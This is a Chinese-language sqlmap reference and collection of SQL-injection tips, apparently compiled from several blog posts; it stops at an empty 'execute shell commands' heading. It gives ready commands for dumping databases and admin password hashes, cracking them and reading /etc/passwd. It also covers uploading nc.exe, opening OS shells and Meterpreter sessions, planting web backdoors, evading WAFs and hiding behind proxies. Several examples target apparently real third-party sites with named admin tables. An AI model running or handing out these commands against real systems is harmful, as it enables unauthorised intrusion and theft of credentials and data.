當使用繼續時間的盲注時,時刻使用--time-sec參數設定延時時間,默認是5秒。

設定UNION查詢字段數

參數:--union-cols

默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level為5的時候他會增加測試到50個字段數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數

設定UNION查詢使用的字符

參數:--union-char

默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,這是你可以用--union-char只定UNION查詢的字符。

二階SQL注入

參數:--second-order

有些時候注入點輸入的數據看返回結果的時候并不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。--second-order后面跟一個判斷頁面的URL地址。

列數據

標志

參數:-b,--banner

大多數的數據庫系統都有一個函數可以返回數據庫的版本號,通常這個函數是version()或者變量@@version這主要取決與是什么數據庫。

用戶

參數:-current-user

在大多數據庫中可以獲取到管理數據的用戶。

當前數據庫

參數:--current-db

返還當前連接的數據庫。

當前用戶是否為管理用

參數:--is-dba

判斷當前的用戶是否為管理,是的話會返回True。

列數據庫管理用戶

參數:--users

當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。

列出并破解數據庫用戶的hash

參數:--passwords

當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap會現列舉出用戶,然后列出hash,并嘗試破解。

例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

可以看到sqlmap不僅勒出數據庫的用戶跟密碼,同時也識別出是PostgreSQL數據庫,并詢問用戶是否采用字典爆破的方式進行破解,這個爆破已經支持Oracle和Microsoft SQL Server。也可以提供-U參數來指定爆破哪個用戶的hash。

列出數據庫管理員權限

參數:--privileges

當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的權限,sqlmap將會告訴你哪個是數據庫的超級管理員。也可以用-U參數指定你想看哪個用戶的權限。

列出數據庫管理員角色

參數:--roles

當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的角色,也可以用-U參數指定你想看哪個用戶的角色。僅適用于當前數據庫是Oracle的時候。

列出數據庫系統的數據庫

參數:--dbs

當前用戶有權限讀取包含所有數據庫列表信息的表中的時候,即可列出所有的數據庫。

列舉數據庫表

參數:--tables,--exclude-sysdbs,-D

當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出一個特定數據的所有表。

如果你不提供-D參數來列指定的一個數據的時候,sqlmap會列出數據庫所有庫的所有表。

--exclude-sysdbs參數是指包含了所有的系統數據庫。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數據庫名稱。

列舉數據庫表中的字段

參數:--columns,-C,-T,-D

當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出指定數據庫表中的字段,同時也會列出字段的數據類型。

如果沒有使用-D參數指定數據庫時,默認會使用當前數據庫。

列舉一個SQLite的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name

列舉數據庫系統的架構

參數:--schema,--exclude-sysdbs

用戶可以用此參數獲取數據庫的架構,包含所有的數據庫,表和字段,以及各自的類型。加上--exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容。

MySQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs

獲取表中數據個數

參數:--count

有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數。列舉一個Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

獲取整個表的數據

參數:--dump,-C,-T,-D,--start,--stop,--first,--last

如果當前管理員有權限讀取數據庫其中的一個表的話,那么就能獲取真個表的所有內容。使用-D,-T參數指定想要獲取哪個庫的哪個表,不適用-D參數時,默認使用當前庫。列舉一個Firebird的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

可以獲取指定庫中的所有表的內容,只用-dump跟-D參數(不使用-T與-C參數)。也可以用-dump跟-C獲取指定的字段內容。sqlmap為每個表生成了一個CSV文件。如果你只想獲取一段數據,可以使用--start和--stop參數,例如,你只想獲取第一段數據可hi使用--stop 1,如果想獲取第二段與第三段數據,使用參數 --start 1 --stop 3。也可以用--first與--last參數,獲取第幾個字符到第幾個字符的內容,如果你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只在盲注的時候使用,因為其他方式可以準確的獲取注入內容,不需要一個字符一個字符的猜解。

獲取所有數據庫表的內容

參數:--dump-all,--exclude-sysdbs

使用--dump-all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成為一個系統數據庫,因為有的管理員會把他當初用戶數據庫一樣來使用它。

搜索字段,表,數據庫

參數:--search,-C,-T,-D

--search可以用來尋找特定的數據庫名,所有數據庫中的特定表名,所有數據庫表中的特定字段。

可以在一下三種情況下使用:

-C后跟著用逗號分割的列名,將會在所有數據庫表中搜索指定的列名。 -T后跟著用逗號分割的表名,將會在所有數據庫中搜索指定的表名 -D后跟著用逗號分割的庫名,將會在所有數據庫中搜索指定的庫名。 運行自定義的SQL語句

參數:--sql-query,--sql-shell

sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句。如果是SELECT查詢語句,sqlap將會輸出結果。如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句。列舉一個Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

爆破

暴力破解表名

參數:--common-tables

當使用--tables無法獲取到數據庫的表時,可以使用此參數。

通常是如下情況:

1、MySQL數據庫版本小于5.0,沒有information_schema表。 2、數據庫是Microssoft Access,系統表MSysObjects是不可讀的(默認)。 3、當前用戶沒有權限讀取系統中保存數據結構的表的權限。 暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。 列舉一個MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
暴力破解列名

參數:--common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

用戶自定義函數注入

參數:--udf-inject,--shared-lib

你可以通過編譯MySQL注入你自定義的函數(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問你一些問題,上傳到服務器數據庫自定義函數,然后根據你的選擇執行他們,當你注入完成后,sqlmap將會移除它們。

系統文件操作

從數據庫服務器中讀取文件

參數:--file-read

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。讀取的文件可以是文本也可以是二進制文件

列舉一個Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

$ ls -l output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe

把文件上傳到數據庫服務器中

參數:--file-write,--file-dest

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。上傳的文件可以是文本也可以是二進制文件。

列舉一個MySQL的例子:

$ file /software/nc.exe.packed
$ ls -l /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

運行任意操作系統命令

參數:--os-cmd,--os-shell

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。在MySQL、PostgreSQL,sqlmap上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和sys_eval()。那么他創建的這兩個函數可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認禁制),sqlmap會重新啟用它,如果不存在,會自動創建。

列舉一個PostgreSQL的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

用--os-shell參數也可以模擬一個真實的shell,可以輸入你想執行的命令。當不能執行多語句的時候(比如php或者asp的后端數據庫為MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來創建一個web后門。支持的語言:ASP、ASP.NET、JSP、PHP

Meterpreter配合使用

參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數,可以在數據庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode,并有四種方式執行它:

1、通過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:--os-pwn。
2、通過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft SQL Server的xp_cmdshell()函數,參數:--os-pwn。
3、通過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:--os-bof

列舉一個MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

默認情況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運行,Microsoft SQL Server 2000默認是以SYSTEM權限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。

對Windows注冊表操作

當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前web應用支持堆查詢。 當然,當前連接數據庫的用戶也需要有權限操作注冊表。

讀取注冊表值:參數:--reg-read
寫入注冊表值:參數:--reg-add
刪除注冊表值:參數:--reg-del
注冊表輔助選項:參數:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三個參數使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

常規參數

從sqlite中讀取session

參數:-s

sqlmap對每一個目標都會在output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就可以用這個參數。

保存HTTP(S)日志

參數:-t

這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日志保存到那里。

非交互模式

參數:--batch

用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。

強制使用字符編碼

參數:--charset

不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼如:--charset=GBK

爬行網站URL

參數:--crawl

sqlmap可以收集潛在的可能存在漏洞的連接,后面跟的參數是爬行的深度。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

規定輸出到CSV中的分隔符

參數:--csv-del

當dump保存為CSV格式時(--dump-format=CSV),需要一個分隔符默認是逗號,用戶也可以改為別的 如:--csv-del=";"

DBMS身份驗證

參數:--dbms-cred

某些時候當前用戶的權限不夠,做某些操作會失敗,如果知道高權限用戶的密碼,可以使用此參數,有的數據庫有專門的運行機制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數

定義dump數據的格式

參數:--dump-format

輸出的格式可定義為:CSV,HTML,SQLITE

預估完成時間

參數:--eta

可以計算注入數據的剩余時間。

例如Oracle的布爾型盲注:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

sqlmap先輸出長度,預計完成時間,顯示百分比,輸出字符

刷新session文件

參數:--flush-session

如果不想用之前緩存這個目標的session文件,可以使用這個參數。 會清空之前的session,重新測試該目標。

自動獲取form表單測試

參數:--forms

如果你想對一個頁面的form表單中的參數測試,可以使用-r參數讀取請求文件,或者通過--data參數測試。 但是當使用--forms參數時,sqlmap會自動從-u中的url獲取頁面中的表單進行測試。

忽略在會話文件中存儲的查詢結果

參數:--fresh-queries

忽略session文件保存的查詢,重新查詢。

使用DBMS的hex函數

參數:--hex

有時候字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免:

針對PostgreSQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

自定義輸出的路徑

參數:--output-dir

sqlmap默認把session文件跟結果文件保存在output文件夾下,用此參數可自定義輸出路徑 例如:--output-dir=/tmp

從響應中獲取DBMS的錯誤信息

參數:--parse-errors

有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,用詞參數可以會顯出錯誤信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

其他的一些參數

使用參數縮寫。參數:-z

有使用參數太長太復雜,可以使用縮寫模式。 例如:python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以寫成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

還有:python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以寫成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入時警告 。參數:--alert

設定會發的答案。參數:--answers

當希望sqlmap提出輸入時,自動輸入自己想要的答案可以使用此參數: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batc

發現SQL注入時發出蜂鳴聲。參數:--beep ? 。發現sql注入時,發出蜂鳴聲。

啟發式檢測WAF/IPS/IDS保護。參數:--check-waf

WAF/IPS/IDS保護可能會對sqlmap造成很大的困擾,如果懷疑目標有此防護的話,可以使用此參數來測試。 sqlmap將會使用一個不存在的參數來注入測試

例如:&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保護的話可能返回結果會不同。

清理sqlmap的UDF(s)和表。參數:--cleanup 。清除sqlmap注入時產生的udf與表。

禁用彩色輸出。參數:--disable-coloring。 sqlmap默認彩色輸出,可以使用此參數,禁掉彩色輸出。

使用指定的Google結果頁面。參數:--gpage 。默認sqlmap使用前100個URL地址作為注入測試,結合此選項,可以指定頁面的URL測試。

使用HTTP參數污染。參數:-hpp 。HTTP參數污染可能會繞過WAF/IPS/IDS保護機制,這個對ASP/IIS與ASP.NET/IIS平臺很有效。

測試WAF/IPS/IDS保護 。參數:--identify-waf 。sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式。目前大約支持30種產品的識別。

例如對一個受到ModSecurity WAF保護的MySQL例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

模仿智能手機

參數:--mobile

有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。

例如:$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

安全的刪除output目錄的文件

參數:--purge-output

有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。

例如:$ python sqlmap.py --purge-output -v 3

啟發式判斷注入

參數:--smart

有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入,可以使用此參數。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart

初級用戶向導參數

參數:--wizard 面向初級用戶的參數,可以一步一步教你如何輸入針對目標注入。$ python sqlmap.py --wizard



sqlmap 實戰


sqlmap是一個灰常強大的sql注入檢測與輔助工具,但是由于沒有圖形界面,基本上用起來比較麻煩,導致很多人可能寧愿用havij或者是pangolin也不愿意麻煩去翻幫助界面,我自己也是把很多語句貼到了一個記事本里面用,其實真正用起來也就5,6句,也不會太復雜,下文以php+mysql為例:

檢查注入點 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" 列數據庫信息 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs 指定庫名列出所有表 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 --tables 指定庫名表名列出所有字段 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin --columns指定庫名表名字段dump出指定字段 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin -C ac,id,password --dump // -C 后面的參數可以加雙引號,也可以不加有幾個參數可能會用到,直接加在最后面就可以了,更多詳細參數見官方文檔: --cookie=COOKIE 在需要登錄的地方,需要登錄后的cookie --proxy="http://127.0.0.1:8087" 使用HTTP代理隱藏自己的身份,比如使用goagent等 --sql-query=QUERY 執行一個sql語句,不一定支持

Sqlmap注入技巧收集

收集了一些利用Sqlmap做注入測試的TIPS,其中也包含一點繞WAF的技巧,便于大家集中查閱。

當我們注射的時候,判斷注入 http://site/script?id=10 http://site/script?id=11-1 # 相當于 id=10 http://site/script?id=(select 10) # 相當于 id=10 http://site/script?id=10 and 1=1 # 失敗通過判斷可發現and和or被過濾 http://site/script?id=10– # 失敗 http://site/script?id=10;– # 失敗 http://site/script?id=10);– # 失敗 http://site/script?id=10)subquery;– # 失敗你可以用burp的intruder的字典跑,但是仍然失敗。 這里可以用到SQL語句的case when …then … else … end語句 CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型數據庫都受到支持,是標準的SQL語句。 可以這樣子理解:CASE… WHEN… THEN …ELSE …ENDCASE WHEN 語法有兩種情況: 第一種是CASE 后面不帶表達式的; CASE WHEN expression THEN 操作1 WHEN expression THEN 操作2 ....... ELSE 操作n END 第二種是CASE 后面帶表達式的(而此時WHEN 后面的則是該表達式可能的值),通用。 CASE expression WHEN expression值1 THEN 操作1 WHEN expression值2 THEN 操作2 ....... ELSE 操作n END http://host/script?id=11-(case when 1=1 then 1 else 0 end) 用1=1跟1=2測試 http://host/script?id=10 # 當條件為真的時候 http://host/script?id=11 # 當條件為假的時候 可以很明顯的看到返回不同,然后可以判斷注入。那么怎么能讓sqlmap去識別呢? Sqlmap默認是自己尋找注入點的,但是你加上一個*,可以引導他。語句 sqlmap.py -u "http://host/script?id=11-(case when 1=1星號 then 1)"注入最頭痛的就是遇到過濾,sqlmap提供了字符轉換的功能 --tamper=between當然自己可以改寫轉換內容,文件在/tamper目錄下。關于post注入 sqlmap可以用-r參數 加載數據包 sqlmap.py -r post.txt 繼續補充一點: having xor等邏輯符號也可以判斷注入。POST注入有兩種方法來進行post注入: 一種是使用--data參數,將post的key和value用“類似GET方式”來提交。 二是使用-r參數,sqlmap讀取用戶抓到的POST請求包,來進行POST注入檢測。查看payload 之前一直是加本地代理,然后用burpsuit來看sqlmap的payload,到現在才發現用-v參數就可以實現。 一直認為-v實現的只是控制警告,debug信息級別。 實際上使用-v 3就可以顯示注入的payload,4,5,6還可以顯示HTTP請求,HTTP響應頭和頁面。使用google搜索 sqlmap可以測試google搜索結果中的sql注入,很強大的功能吧。使用方法是參數-g。不過感覺實際使用中這個用的還是很少的。請求延時 在注入過程中請求太頻繁的話可能會被防火墻攔截,這時候--delay參數就起作用了。可以設定兩次HTTP請求間的延時。 有的web程序會在多次錯誤訪問后屏蔽所有請求,這樣就導致之后所有的測試無法進行, 繞過這個策略可以使用--safe-url,每隔一段時間去訪問一個正常的頁面。偽靜態頁面 有些web服務器進行了url rewrite或者網站是偽靜態的,無法直接提供測試參數,這樣子可以使用*來代替要測試的參數。執行系統命令 當數據庫支持,并且當前用戶有權限的時候,可以執行系統命令,使用--os-cmd或者--os-shell, 具體的講,當可以執行多語句的時候,會嘗試用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)來執行系統命令。 不能執行多語句時,仍然會嘗試創建一個webshell來執行語句,這時候就需要web的絕對路徑了。 總體來說,成功率偏低,不過個人也有成功的經驗~測試等級 sqlmap使用--level參數來進行不同全面性的測試, 默認為1,不同的參數影響了使用哪些payload,2時會進行cookie注入檢測,3時會進行useragent檢測。

http://blackvan.blog.51cto.com/4427217/860508

1、sqlmap -u 注入點 // 掃描注入點 2、sqlmap -g "關鍵詞" // 這是通過google搜索注入,現在還不可以,不知道是什么原因,可以直接修改為百度 3、python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 4、指定參數注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的數據 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2" 6、指定cookie,可以注入一些需要登錄的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通過代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定關鍵詞,也可以不指定。程序會根據返回結果的hash自動判斷 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定數據,這樣就不用猜測其他的數據庫里。可以提高效率。 --remote-dbms 10、指紋判別數據庫類型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、獲取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b 12、獲取當前數據庫,當前用戶,所有用戶,密碼,所有可用數據庫。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql" 13、顯示指定的文件內容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd 14、執行你自己的sql語句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query="SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union-check python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --union-use --banner 16、保存注入過程到一個文件,還可以從文件恢復出注入過程,很方便,一大特色。你可以在注入的時候中斷,有時間再繼續。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log" python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

SQLMAP實戰操作:

1. sqlmap注入拖庫常用命令

sqlmap.py -u "注入地址" -v 1 --dbs // 列舉數據庫 sqlmap.py -u "注入地址" -v 1 --current-db // 當前數據庫 sqlmap.py -u "注入地址" -v 1 --users // 列數據庫用戶 sqlmap.py -u "注入地址" -v 1 --current-user // 當前用戶 sqlmap.py -u "注入地址" -v 1 --tables -D "數據庫" // 列舉數據庫的表名 sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "數據庫" // 獲取表的列名 sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "數據庫" //獲取表中的數據,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的數據存儲sqlmap/output/中、、、


2. ACCESS注入:

sqlmap.py -u "url" /* -u為常規掃描參數 */ sqlmap.py -u "url" --tables /* --tables猜數據庫表 */ sqlmap.py -u "url" --columns -T "表名" /* 列出指定表名。爆字段 */ sqlmap.py -u "url" --dump(脫褲) -T "表名" -C "字段名" /* –dump為拆解字段名會保存在sqlmap/output目錄下。暴內容 */


3 .MYSQL注入:

sqlmap.py -u "url" /* 掃描注入點 */ sqlmap.py -u "url" --dbs /* 列出所有數據庫 */ sqlmap.py -u "url" --current-db /* 列出當前數據庫 */ sqlmap.py -u "url" --current-user /* 列出當前用戶 */ sqlmap.py -u "url" --tables -D "數據庫名" /* 拆解數據庫表 */ sqlmap.py -u "url" --columns -T "表名" -D "數據庫名" /* 拆解指定表字段名。即爆字段 */ sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "數據庫" /* 即爆內容 */


4 .SQLSERVER數據庫:

sqlmap.py -u "url" /*掃描注入點*/ sqlmap.py -u "url" --dbs /*列出所有數據庫*/ sqlmap.py -u "url" --current-db /*列出當前數據庫*/ sqlmap.py -u "url" --current-user /*列出當前用戶*/ sqlmap.py -u "url" --tables -D "當前數據庫名" /*拆解當前數據庫表*/ sqlmap.py -u "url" --columns -T "要拆得的表名" -D "當前數據庫名" /*拆解指定表字段名*/ sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "當前數據庫" SQLSERVER操作和MYSQL是一樣的!!!常見的幾種數據庫!!!

5. COOKIE注入:

sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "參數名如id=1" --level 2 /*level為提升權限*/ sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2 什么數據庫就按照上面的數據庫加上cookie語句拆解就行了cookie注入 url --cookie "id=" --table --level 2 //暴表 url --cookie "id=" --columns -T 表名 --level 2 //獲得字段 url --cookie "id=" --dump -T 表名 -C "字段名" --level 2 //獲得內容 方法一: 假設有個網站,url地址為:http://www.127.0.0.1/base32?id=45 假如想測試這個頁面是否有cookie注入 采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data="id=10" --dbs --level 2 解釋:/*level 2是探測等級的意思,這里采用注入選擇探測等級為2,當探測等級為2或2以上sqlmap是會嘗試注入cookie參數的*/方法二: sqlmap.py -u "存在注入url" --cookie="抓包抓到的cookie" 或者是這樣使用:sqlmap.py -u "存在注入url" --cookir="抓包抓到的cookie" --level 2 //前面講過了探測等級為2就注入cookie參數的


6 .POST注入:

抓包保存到SQLMAP目錄下.txt的文件然后輸入指令sqlmap.py -r xxx.txt /* xxx.txt為保存包文件的文件名 */sqlmap.py -u "url" --data "POST參數" 或者 sqlmap.py -u "url" --data="POST參數" sqlmap post注入 我們在使用Sqlmap進行post型注入時,經常會出現請求遺漏導致注入失敗的情況。這里分享一個小技巧,即結合burpsuite來使用sqlmap, 用這種方法進行post注入測試會更準確,操作起來也非常容易。 1. 瀏覽器打開目標地址http:// www.2cto.com /Login.asp 2. 配置burp代理(127.0.0.1:8080)以攔截請求 3. 點擊login表單的submit按鈕 4. 如下圖,這時候Burp會攔截到了我們的登錄POST請求 5. 把這個post請求復制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下 6. 運行sqlmap并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass 這里參數-r 是讓sqlmap加載我們的post請求rsearch-test.txt, 而-p 大家應該比較熟悉,指定注入用的參數。Post注入方法一: sqlmap.py -r test.txt -p “抓包到的post數據里面的其中一個post參數” --dbs 也可以sqlmap.py -d "提交的數據" -p 解釋意思 /*sqlamp進行post注入并且假如存在注入就返回數據庫的信息, test.txt文檔就是對網頁抓到的包全選數據包內容然后保存為test.txt文件, 直接-r test.txt是把文檔放在與sqlmap同一目錄下的才行。-p是指定參數注入,更精準*/ 假如不是放在與sqlmap同一目錄下的話,那么就是sqlmap.py -r D:\test.txt -p “抓包到的post數據里面的其中一個post參數” --dbs方法二: sqlmap.py -u “存在注入的url,一般多用于后臺” --data=”抓到的post包的最后一行的內容” -p “指定post包里面的某一個參數”方法三: 假設有個網站,url地址為:http://www.127.0.0.1/base64?id=10 假如想測試這個頁面是否有post注入 用這個方式:sqlmap.py -u “http://www.127.0.0.1/base64” --data=”id=10” -f --banner --dbs方法四: 自動注入方法 sqlmap.py -u “http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)” --forms 一般用于后臺注入。POST登陸框注入 注入點:http://xxx.xxx.com/Login.asp注入方式一:1.對著注入點使用burp抓包,保存txt格式文件。2.輸入命令:sqlmap.py -r search-test.txt -p tfUPass注入方式二:自動搜索表單的方式 sqlmap -u http://www.xxx.com/Login.asp --forms 注入方式三:指定一個參數的方法 sqlmap -u http://www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1" 搜索框注入搜索框注入感覺和post注入簡直一模一樣,只不過形式是注入搜索框而不是username或password。方法一: sqlmap.py -u “http://xxxxxx.com/search.php(asp,aspx,jsp)” --data=”抓包到的搜索框的信息” -p “指定搜索框里面的一個參數值”搜索框注入手工判斷: ' and 1=1 and '%'=' 返回所以結果 ' and 1=2 and '%'=' 無返回結果 ' and exists (select * from sysobjects) and '%'=' 返回正常 //最后一個針對于mssql數據庫系統對象表,針對于sql server(Mssql)數據庫 一次sqlmap注入某注入點并且dump出賬號密碼全程 判斷注入點:sqlmap.py -u “存在注入url” 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --batch 爆出所有數據庫名字:sqlmap.py -u “存在注入url” --dbs 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs--dump將結果導出。 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D user -T admin -C ac,id,password --dump


7 .執行shell命令:

